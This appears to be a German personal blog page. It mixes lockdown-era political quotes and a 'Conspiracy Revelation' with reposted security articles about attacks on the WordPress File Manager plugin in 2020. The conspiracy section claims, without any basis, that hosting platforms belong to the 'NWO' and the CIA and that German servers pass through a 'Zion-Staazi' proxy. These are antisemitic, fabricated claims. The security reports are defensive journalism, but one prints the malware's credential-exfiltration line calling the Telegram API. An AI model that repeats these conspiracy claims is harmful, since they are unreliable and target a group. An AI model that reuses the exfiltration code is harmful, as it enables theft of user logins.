„KW20-43 2. Lockdown – 3. Stufe Machtergreifung: Christoph Hörstel 2020-10-24
27.611 Aufrufe
•24.10.2020“
„Der Staat arbeitet mit diktatorischen Mitteln, anders kann man das nicht sagen, da gibt es Kontosperrungen überall, inzwischen auch bei meiner Frau und mir und das ist in diesem Fall eindeutig Sippenhaft, ganz klar, da gibt es eine Vielzahl von Gerichtsprozessen, ..bei mir sind es 3, dann gibt es operative Maßnahmen, wie Hausdurchsuchungen und existenzielle Bedrohungen…Die Unterdrückung aktiver Regierungs- und Systemgegner, auch das ist eine offenbare Geschichte und das führt natürlich dann Regierungsgegner in das Lager der Systemkritiker,.. die doppelte Botschaft an „Querdenken“ ist angekommen: Beifall und Respekt vor der Protest-Leistung, klar und dann eben auch Kritik an der politischen Schwäche, wegen Mangel an Einsicht und Erfahrung, und wegen politische Konzeptlosigkeit, mit Unklarheit verbunden..Die Menschen wollen endlich politische Erfolge sehen!..Es muss eben eine Partei her, aber eben mit einer Bewegung dazu, ohne Bewegung geht das nicht. Eine Partei ohne eine große Bewegung auf der Straße, bleibt auch politisch schwach und wenig durchsetzungsfähig..Demonstrationsverboten…das ist die Verweigerung eines Grundrechts…“
Conspiracy Revelation: 20.11.2020: Wenn ihr auf IP 104.xx.xx.xx (CLOUD14) hochladet, seid ihr bei den NWO-Verbrechern und der CIA… in den allermeisten Fällen…und Bitchute (kein 104.. aber CLOUD14), gab.com (104.xx CLOUD14) und all die anderen Alternativen, die die Menschen benutzen, Patreon und weiß Gott was, das sind alles infiltrierte Systeme, das sind i.d.R. alles Plätze des Schattenregierungsterritoriums..Merken.. Außerdem wurde ja schon angemerkt, dass in Deutschland fast alle Server zuerst über einen Zion-Staazi-Regierungsproxy laufen. VPN wäre eine Alternative, aber reicht allein auch nicht.



„Je 1/3 Systemträger und Systemgegner, aber 2/3 davon befinden sich im Totalrückzug aus der Politik, die machen nix und die 1/3 Beobachter in Deutschland, die sind vollkommen gelähmt. Der 2. Lockdown, der überwindet möglicherweise die Lähmung hier, nämlich bei den Systemgegnern und bei den Beobachtern und das ist allerdings nur mit diktatorischen Mitteln zu bremsen, dass die dann aufwachen, das ist spannend.“
Die Twit-Heads sowieso….das ist ein Kompliment dort präemptiv gesperrt zu werden. Im Nest der NWO-Mafia.

Kategorie: IT Security/IT Forensic
-
Angriffe auf Websites, auf denen eine anfällige Version des Dateimanager-Plugins ausgeführt wird
„Angriffe auf Websites, auf denen eine anfällige Version des Dateimanager-Plugins ausgeführt wird“
Conspiracy Revelation: 28.9.2020: Linguistische Korrektur..

„Angriffe auf Websites, auf denen eine anfällige Version des Dateimanager-Plugins ausgeführt wird
durch HTH_Editors | September 11, 2020 | 0 Kommentare WordPress Plugin, WordPress-Sicherheit
Sicherheitsforscher haben kürzlich eine Sicherheitsanfälligkeit in einem Dateimanager-Plugin gemeldet, was anfangs mehr gefährdete als 700,000 WordPress-Sites. jedoch, in ein paar Tagen, die Anzahl der angegriffenen Standorte erreicht 2.6 Million.
Mehrere Angreifer, die die Sicherheitsanfälligkeit des Dateimanager-Plugins ausnutzen.
Laut Wordfence Forscher sind mehrere Bedrohungsakteure Schuld für diese Angriffe. Zwei spezifische Bedrohungsakteure sind bei den Exploits am erfolgreichsten. Es scheint, dass diese Angreifer jetzt Kennwörter schützen, das anfällige Kopien einer bestimmten Datei schützt…
Der aktivste dieser Angreifer wurde als “Bajatax” identifiziert. Das Unternehmen hat zuvor Anmeldeinformationen von PrestaShop-Websites gestohlen. Zu den von den Forschern entdeckten Kompromissindikatoren gehören einfache Dateien, die die “Bajatax” Zeichenfolge beinhalten und Änderungen an der ursprünglichen anfälligen Datei connector.minimal.php durrchführt. Die letztere Datei soll alle anderen potenziellen Angreifer ausschließen. Die Forscher-Entdeckungen weisen darauf hin, dass diese Dateien von einigen der aktivsten IP-Adressen verwendet werden, die bei den Angriffen eingesetzt wurden.
Infizierten Websites wird bösartiger Code hinzugefügt. Dieser Code verwendet die API von Telegram, um die Anmeldeinformationen aller Benutzer zu filtern, die sich bei der gefährdeten Site anmelden. In Ergänzung, Der gleiche Code wird auch zur Datei user.php hinzugefügt, bei der es sich um eine WordPress-Kerndatei handelt.
Der zweite Angreifer, der die Sicherheitsanfälligkeit des Dateimanagers mit großem Erfolg ausnutzt, lässt einen bestimmten Infektor fallen,..index.php, mit einem MD5-Hash … und eine von diesem Infektor eingefügte Hintertür. Wordfence sagt im offiziellen Bericht. Dieser Angreifer schützt auch die Datei … mit einem Kennwort, um zu versuchen, andere Bedrohungsakteure auszusperren.
Die Forscher skizzieren auch, dass die von diesem zweiten Schauspieler verwendete Hintertür seit vielen Jahren verwendet wird. jedoch, Mehrere Kopien davon können auf eine einzelne infizierte Site verteilt werden, Dies führt zu Persistenz, wenn kein Schutz vorhanden ist.
Außerdem, Sobald die Hintertüren erfolgreich installiert wurden nutzt der Angreifer sie sicherlich, um weitere Änderungen an den WordPress-Kerndateien vorzunehmen.
Was sollten Sie tun, wenn Sie eine anfällige Version des Dateimanager-Plugins verwendet haben??
Der beste Sicherheitshinweis ist die Verwendung eines Sicherheitstools zum Scannen Ihrer Website nach Malware. Falls Sie feststellen, dass Ihre Website durch die in diesem Artikel beschriebenen Angriffe gefährdet wurde, sollten Sie in Betracht ziehen Ihre Website zu bereinigen, bevor Sie etwas anderes tun.
Wenn Sie Eigentümer einer E-Commerce-Website sind, sollten Sie auch alle Ihre Benutzer kontaktieren, Lassen Sie sie wissen, dass Ihre Anmeldeinformationen möglicherweise kompromittiert wurden. Sie können die Gesamtsicherheit ihrer Website auch anhand der Tipps testen, die wir im folgenden Artikel bereitgestellt haben:
Lesen Sie auch So testen Sie die Sicherheit Ihrer WordPress-Site“
Quelle: https://howtohosting.guide/de/attacks-against-sites-running-vulnerable-file-manager-plugin/ -
WordPress malware using the Telegram API

„WordPress malware using the Telegram API“
„Panos Kesisis · 01st September 2020·Wordpress, PHP, Website Security“
Conspiracy Revelation: 28.9.2020: I removed the Telegram APIs manually from all infected files…
„wp_ajax_try_2020_v2“
„file_get_contents(„https://api.telegram.org/xxxxxxxx:AAE1-wpQyYquqvB7wOeBzzmPafEp0d81e6c/sendMessage?chat_id=1110165405&text=“ . urlencode$“
„The malware looks to be infecting WordPress‘ core files, „File Manager“ and „WooCommerce“ plugins for now, including the latest version of WordPress (5.5) and Woocommerce (4.4.1). The files that seem to be affected are:
wp-includes/user.php
wp-admin/admin-ajax.php
wp-file-manager/lib/files/HhGFXU.php (and other randomly named .php files)
woocommerce/includes/wc-user-functions.php
woocommerce/includes/class-wc-form-handler.php
Expressions that can help to determine if your site is compromised are:
„bajatax“
„api.telegram.org“
Since the code above is not hashed or obfuscated, it is extremely difficult to be scanned using a security plugin like wordfence or sucuri so manual intervention is advised.
Steps to resolve
Basic steps to resolve this is to replace all the wordpress core files with clean wp-admin and wp-includes folders and a fresh re-install of the woocommerce and wp file manager plugins. Always make sure to take a backup before attempting this.
Also, in no cases there should be any references of those strings anywhere in your website’s files or database (with the exception of when using the official Telegram plugin for the 2nd string).
Lastly, it is recommended to check on newly created WordPress usernames that might be injected into the database as well.
…
Source: https://fixed.net/blog/wordpress-malware-using-the-telegram-api -
Attackers Fight for Control of Sites Targeted in File Manager Vulnerability
„Attackers Fight for Control of Sites Targeted in File Manager Vulnerability“
Conspiracy Revelation: 28.9.2020: Wordfence caused a long time a WSOD on my page…not sure if it was a counterdefense mechanism of these notorious russian cleptocratic cyberhack spambot mafiosis, that dominate the Internet for the last 25 years with their viral loads… I will check that soon…I surely would have used wordfence if it didn´t lose compatibility aka WSOD which made it impossible for me to use it at a certain point in time with this webpage.
These ico exploits are very old and typical russian cyber mafiosi method. At least 20 years old, also for Windows Systems.
Update: I installed Wordfence now, it works again, the white screen of death was likely caused by these russian cyber mafiosis as a Malware Persistence Factor, so that their exploit could survive longer, that is a good indicator that the page is finally really cleansed from this filth.
„This entry was posted in Research, Vulnerabilities, WordPress Security on September 10, 2020 by Ram Gall 5 Replies
Last week, we covered a vulnerability in the File Manager plugin installed on over 700,000 WordPress sites. By Friday, September 4, 2020, we recorded attacks on over 1.7 million sites, and by today, September 10, 2020 the total number of sites attacked has increased to over 2.6 million. We’ve seen evidence of multiple threat actors taking part in these attacks, including minor efforts by the threat actor previously responsible for attacking millions of sites, but two attackers have been the most successful in exploiting vulnerable sites, and at this time, both attackers are password protecting vulnerable copies of the connector.minimal.php file.
An early bird stealing passwords
Our site cleaning team has found numerous indicators that the most active of these attacks are the work of a Moroccan threat actor known as “bajatax” which has historically stolen credentials from PrestaShop sites. These indicators include simple files containing only the string “bajatax” as well as modifications to the original vulnerable connector.minimal.php file designed to lock out all other attackers, containing a $content=“by bajatax” line of code. Logs from infected sites indicate these files are being added by some of the most active attacking IPs, and we were able to verify that this threat actor is behind the hardfork.php and hardfile.php IOCs mentioned in our initial post. This attacker was the first to attack this vulnerability at scale.
Once a site is infected, the “bajatax” attacker adds malicious code that uses the Telegram messenger’s API to exfiltrate the credentials of any user logging into the site. This code is added to the WordPress core user.php file. If WooCommerce is installed, the wc-user-functions.php and class-wc-form-handler.php files will also be modified to exfiltrate user credentials. These credentials could then be resold or used to gain access to other accounts using the same credentials.
We’ve found IOCs from this threat actor on a substantial number of sites. Despite this attacker’s efforts to lock out other hackers, they haven’t always managed to get their foot in the door first, but we’ve seen them make regular attempts to update the passwords on both the vulnerable connector.minimal.php file and on other files they’ve added to allow additional upload capability, while leaving the credential scraping functionality in place which consistently sends to the same Telegram chat ID of 1110165405.
Our Threat Intelligence team has been hard at work adding malware signatures to detect Indicators of Compromise by the bajatax threat actor, and these have been available to Wordfence Premium users starting September 8, 2020. These signatures will be released to sites still using the free version of Wordfence after 30 days, starting October 8, 2020.
A second attacker scattering backdoors
The most prevalent single indicators of compromise we found are an infector, feoidasf4e0_index.php, with an MD5 hash of 6ea6623e8479a65e711124e77aa47e4c, and a backdoor inserted by this infector. In this case we are providing the MD5 hash since this file is extremely consistent, and as such the MD5 can be a useful indicator of compromise.
This attacker is using the mkfile method outlined in our initial article rather than the upload method favored by the “bajatax” threat actor. This attacker is also adding password protection to the vulnerable connector.minimal.php file in an effort to lock out other attackers, though our attack data indicates this threat actor is using a consistent password.
The feoidasf4e0_index.php file inserts two copies of the second backdoor with randomized filenames ending in _index.php whenever it is accessed. One copy is placed in the webroot, and one in a randomized writable folder on the site. Both backdoors have the same MD5 of 3f60851c9f7e37c0d8817101d2212c68. While the backdoor in question has been in use for several years, the fact that multiple copies might be scattered across an infected site would help this attacker maintain persistence in the absence of a thorough scanning solution. We’ve also seen additional copies of this backdoor with different MD5 hashes added by this attacker; these are simply the most common variants.
Once these backdoors are in place, the attacker is using them to make additional modifications to core WordPress files, in some cases by using obfuscated code to include separate backdoors disguised as .ico files. While the prevalence of the feoidasf4e0_index.php file appears to be declining, the secondary backdoors added by this file are still extremely common, indicating that this attacker has managed to achieve some degree of persistence.
The feoidasf4e0_index.php file itself appears to be a very slightly modified version of an infector used in previous campaigns that primarily added cryptominers and SEO spam to various sites, so these are viable monetization routes for this threat actor, though they could also simply lease access to a botnet of infected sites under their control.
Other actors abound
Our site cleaning team has cleaned a number of sites compromised by this vulnerability, and in many cases, malware from multiple threat actors is present. The aforementioned threat actors have been by far the most successful due to their efforts to lock out other attackers, and are collectively using several thousand IP addresses in their attacks. Nonetheless, we’ve seen attacks against this vulnerability from over 370,000 separate IP addresses.
There has been almost no overlap between the IPs adding and accessing the feoidasf4e0_index.php file and the IPs adding and accessing the bajatax “hardfork” files. The single exception is the IP 51.83.216.204, which appears to be a third party opportunistically checking for the presence of both of these backdoors and then attempting to add a backdoor of its own, without much success. As more and more users update or remove the File Manager plugin, control of any infected sites will likely be split between these two threat actors.
Conclusion
In today’s article, we discussed the most common infections we’re seeing on sites where the File Manager vulnerability has been exploited as well as the predominant actors involved. We’ve also managed to link at least one of the attackers to a known threat actor and determine likely paths to monetization. If you or anyone you know has had a vulnerable version of the File Manager plugin installed, we urge you to scan your site for malware using a security solution such as Wordfence. If your site has been compromised by the “bajatax” threat actor, it is critical that you completely clean your site before contacting all of your users and advising them that their credentials may have been compromised, especially if you are running an e-commerce site.“
„Some Agency September 10, 2020 at 2:42 pm:
For that telegram chat room 1110165405 I deleted their webhook using the telegram API once I found out one of our clients sites was hacked. Hoping I helped the cause a little there lol. The index file found on this server was ‚fqsvoig675_index.php‘ and they injected code into ‚user.php‘ to send user creds to their telegram bot.
https://api.telegram.org/botXXXXXXXX:XXXXXXX/deleteWebhook?chat_id=1110165405“
„Surender September 10, 2020 at 8:58 pm:
I am feeling lucky that I have been using Wordfence since beginning. It has always protected me from such attacks.
Thank you Wordfence team.“
„bloganchoi September 13, 2020 at 6:09 pm:
File managers are very important, if you install an unknown plugin that is susceptible to critical vulnerabilities that lead to your website being hacked, be careful when installing any plugin on your site.“
„Juan Erazo September 10, 2020 at 1:14 pm:
That’s right. Our site suffers this attack the las week and only yesterday we are online again. We are using wordfence from now!“
Source: https://www.wordfence.com/blog/2020/09/attackers-fight-for-control-of-sites-targeted-in-file-manager-vulnerability/

-
Hacker-Krieg um 300.000 gefährdete WordPress-Sites
„Hacker-Krieg um 300.000 gefährdete WordPress-Sites“
„Cybercrime“
“ Bastivon Basti11. September 20200
Vor einigen Tagen wurde eine schwerwiegende Sicherheitslücke im File Manager-Plugin für WordPress entdeckt. Obwohl die Lücke vom Entwickler innerhalb weniger Stunden behoben und mit Erscheinen von Version 6.9 ein Update zur Verfügung stand, wurde das Update nicht von allen Nutzern eingespielt. Das hat nun dazu geführt, dass einige Hacker um die Kontrolle von etwa 300.000 infizierten WordPress-Seiten kämpfen.
Warum viele Nutzer des File Manager-Plugins kein Update eingespielt haben, ist unklar. Einige Nutzer haben das Plugin zwar entfernt (ursprünglich waren es 700.000, nun sind noch 600.000 Installationen), bei einem Teil dürfte es sich um vergessene oder nicht mehr gepflegte WordPress-Installationen handeln, aber ein Teil der Nutzerschaft hat eben kein Update durchgeführt.
Wie Bleeping Computer gestern berichtete, werden derzeit über 2,6 Millionen WordPress-Installationen von unterschiedlichen Hackern angegriffen. So wie es derzeit aussieht, gibt es zwei Hauptakteure, die in dem Rennen um die Kontrolle die Nase vorne haben. Während einer Backdoors einbaut, versucht ein Anderer fremde Exloit-Versuche andere Angreifer zu blockieren, während er selbst erfolgreich Benutzerzugangsdaten klaut. Der Hacker ist unter dem Namen Bajatax bekannt.
In all, Defiant’s researchers saw attacks trying to exploit this vulnerability originating from more than 370,000 separate IP addresses, with almost no overlap in backdoor access activity.
Wenn sich die Aktivitäten beim Zugriff auf Backdoors nicht überschneiden, spricht das eher für abgestimmte Aktionen oder gar den gleichen Täter.
Das ist ein schönes Beispiel dafür, was passieren kann, wenn Sicherheitsupdates nicht zeitnah eingespielt werden. Diese Lücke im File Manager-Plugin, bzw. die nicht eingespielten Updates, wird WordPress-Betreiber und auch Hoster noch länger beschäftigen.
Weitere ausführliche Informationen zu den Aktivitäten der Hacker hat Wordfence veröffentlicht.“
Quelle: https://netzbasti.de/2020/09/11/hacker-krieg-um-300-000-gefaehrdete-wordpress-sites/ -
Attacks Targeting Recent WordPress File Manager Flaw Ramping Up
„Attacks Targeting Recent WordPress File Manager Flaw Ramping Up
By Ionut Arghire on September 11, 2020
Attacks targeting a recently addressed vulnerability in the WordPress plugin File Manager are ramping up, warns the Wordfence Threat Intelligence team at WordPress security company Defiant.
With over 700,000 active installs, File Manager is a highly popular WordPress plugin that provides admins with file and folder management capabilities (copy/paste, delete, download/upload, edit, and archive).
In early September 2020, the plugin’s developer addressed a critical-severity zero-day flaw that was already being actively targeted. Assessed with a CVSS score of 10, the flaw can allow attackers to remotely execute code on a vulnerable installation.
The issue is related to code taken from the elFinder project, with the File Manager developers renaming the elFinder library’s connector.minimal.php.dist file to .php, to have it execute directly. This, however, opened the plugin to attackers.
Nearly two weeks after a patch for the vulnerability was released, multiple threat actors are targeting unpatched installations, Wordfence researchers reveal.
Within days after the zero-day was patched, attackers were targeting over 1.7 million sites, but that number increased to 2.6 million as of September 10.
“We’ve seen evidence of multiple threat actors taking part in these attacks, including minor efforts by the threat actor previously responsible for attacking millions of sites, but two attackers have been the most successful in exploiting vulnerable sites, and at this time, both attackers are password protecting vulnerable copies of the connector.minimal.php file,” Wordfence notes.
The most active of the attackers is a Moroccan threat actor referred to as “bajatax,” which modifies the vulnerable connector.minimal.php file to prevent further attacks. This is the first threat actor observed targeting the vulnerability at scale.
Once it manages to compromise a website, the attacker adds code to exfiltrate user credentials using the Telegram messenger’s API. The code is added to the WordPress core user.php file and, if WooCommerce is installed, two more files are modified to steal user credentials.
A second adversary targeting the security flaw is attempting to inject a backdoor into the vulnerable websites, and is protecting the connector.minimal.php file with a password, in an attempt to prevent other infections. However, it appears that the threat actor is using a consistent password across infections.
Two copies of the backdoor are inserted into the infected website, one in the webroot and the other in a randomized writable folder, likely in an attempt to ensure persistence. The attacker leverages the backdoors to modify core WordPress files which would then be abused for monetization purposes, based on the threat actor’s previously observed modus operandi.
On many of the compromised websites, Wordfence discovered malware from multiple adversaries. Attacks targeting the vulnerability were observed originating from more than 370,000 separate IP addresses, with almost no overlaps between the IPs used by the two most active attackers.
“As more and more users update or remove the File Manager plugin, control of any infected sites will likely be split between these two threat actors,” Wordfence notes.
Site administrators are advised to update the File Manager plugin as soon as possible, but also to scan their website for possible compromise and to remove any malicious code they might find.
Related: WordPress ‚File Manager‘ Plugin Patches Critical Zero-Day Exploited in Attacks
Related: WordPress Malware Targets WooCommerce Stores
Related: Hackers Can Inject Code Into WordPress Sites via Flaw in Product Review Plugin“
Source: https://www.securityweek.com/attacks-targeting-recent-wordpress-file-manager-flaw-ramping -
Hackers are exploiting a critical flaw affecting >350,000 WordPress sites
„Hackers are exploiting a critical flaw affecting >350,000 WordPress sites“
„Flaw is in File Manager, a plugin with more than 700,000 users; 52% are affected.
Dan Goodin – 9/2/2020, 3:40 AM“
„Hackers are actively exploiting a vulnerability that allows them to execute commands and malicious scripts on Websites running File Manager, a WordPress plugin with more than 700,000 active installations, researchers said on Tuesday. Word of the attacks came a few hours after the security flaw was patched.
Attackers are using the exploit to upload files that contain webshells that are hidden in an image. From there, they have a convenient interface that allows them to run commands in plugins/wp-file-manager/lib/files/, the directory where the File Manager plugin resides. While that restriction prevents hackers from executing commands on files outside of the directory, hackers may be able to exact more damage by uploading scripts that can carry out actions on other parts of a vulnerable site.
NinTechNet, a website security firm in Bangkok, Thailand, was among the first to report the in-the-wild attacks. The post said that a hacker was exploiting the vulnerability to upload a script titled hardfork.php and then using it to inject code into the WordPress scripts /wp-admin/admin-ajax.php and /wp-includes/user.php.
Backdooring vulnerable sites at scale
In email, NinTechNet CEO Jerome Bruandet wrote:
It’s a bit too early to know the impact because when we caught the attack, hackers were just trying to backdoor websites. However, one interesting thing we noticed is that attackers were injecting some code to password-protect the access to the vulnerable file (connector.minimal.php) so that other groups of hackers could not exploit the vulnerability on the sites that were already infected.
All commands can be run in the /lib/files folder (create folders, delete files etc), but the most important issue is that they can upload PHP scripts into that folder too, and then run them and do whatever they want to the blog.
So far, they are uploading „FilesMan“, another file manager often used by hackers. This one is heavily obfuscated. In the next few hours and days we’ll see exactly what they will do, because if they password-protected the vulnerable file to prevent other hackers to exploit the vulnerability it is likely they are expecting to come back to visit the infected sites.
Fellow website security firm Wordfence, meanwhile, said in its own post that it had blocked more than 450,000 exploit attempts in the past few days. The post said that the attackers are trying to inject various files. In some cases, those files were empty, most likely in an attempt to probe for vulnerable sites and, if successful, inject a malicious file later. Files being uploaded had names including hardfork.php, hardfind.php, and x.php.
„A file manager plugin like this would make it possible for an attacker to manipulate or upload any files of their choosing directly from the WordPress dashboard, potentially allowing them to escalate privileges once in the site’s admin area,“ Chloe Chamberland, a researcher with security firm Wordfence, wrote in Tuesday’s post. „For example, an attacker could gain access to the admin area of the site using a compromised password, then access this plugin and upload a webshell to do further enumeration of the server and potentially escalate their attack using another exploit.“
52% of 700,000 = potential for damage
The File Manager plugin helps administrators manage files on sites running the WordPress content management system. The plugin contains an additional file manager known as elFinder, an open source library that provides the core functionality in the plugin, along with a user interface for using it. The vulnerability arises from the way the plugin implemented elFinder.
„The core of the issue began with the File Manager plugin renaming the extension on the elFinder library’s connector.minimal.php.dist file to .php so it could be executed directly, even though the connector file was not used by the File Manager itself,“ Chamberland explained. „Such libraries often include example files that are not intended to be used ‚as is‘ without adding access controls, and this file had no direct access restrictions, meaning the file could be accessed by anyone. This file could be used to initiate an elFinder command and was hooked to the elFinderConnector.class.php file.“
The developers of File Manager credited researcher Ville Korhonen of security firm Seravo with discovering and first reporting the vulnerability. The researchers, who said they found the vulnerability as part of their regular „WordPress upkeep service,“ published their own writeup here.
Sal Aguilar, a contractor who sets up and secures WordPress sites, took to Twitter to warn of attacks he’s seeing.
„Oh crap!!!“ he wrote. „The WP File Manager vulnerability is SERIOUS. Its spreading fast and I’m seeing hundreds of sites getting infected. Malware is being uploaded to /wp-content/plugins/wp-file-manager/lib/files.“
The security flaw is in File Manager versions ranging from 6.0 to 6.8. Statistics from WordPress show that currently about 52 percent of installations are vulnerable. With more than half of File Manager’s installed base of 700,000 sites vulnerable, the potential for damage is high. Sites running any of these versions should updated to 6.9 as soon as possible.“
Source: https://arstechnica.com/information-technology/2020/09/hackers-are-exploiting-a-critical-flaw-affecting-350000-wordpress-sites/























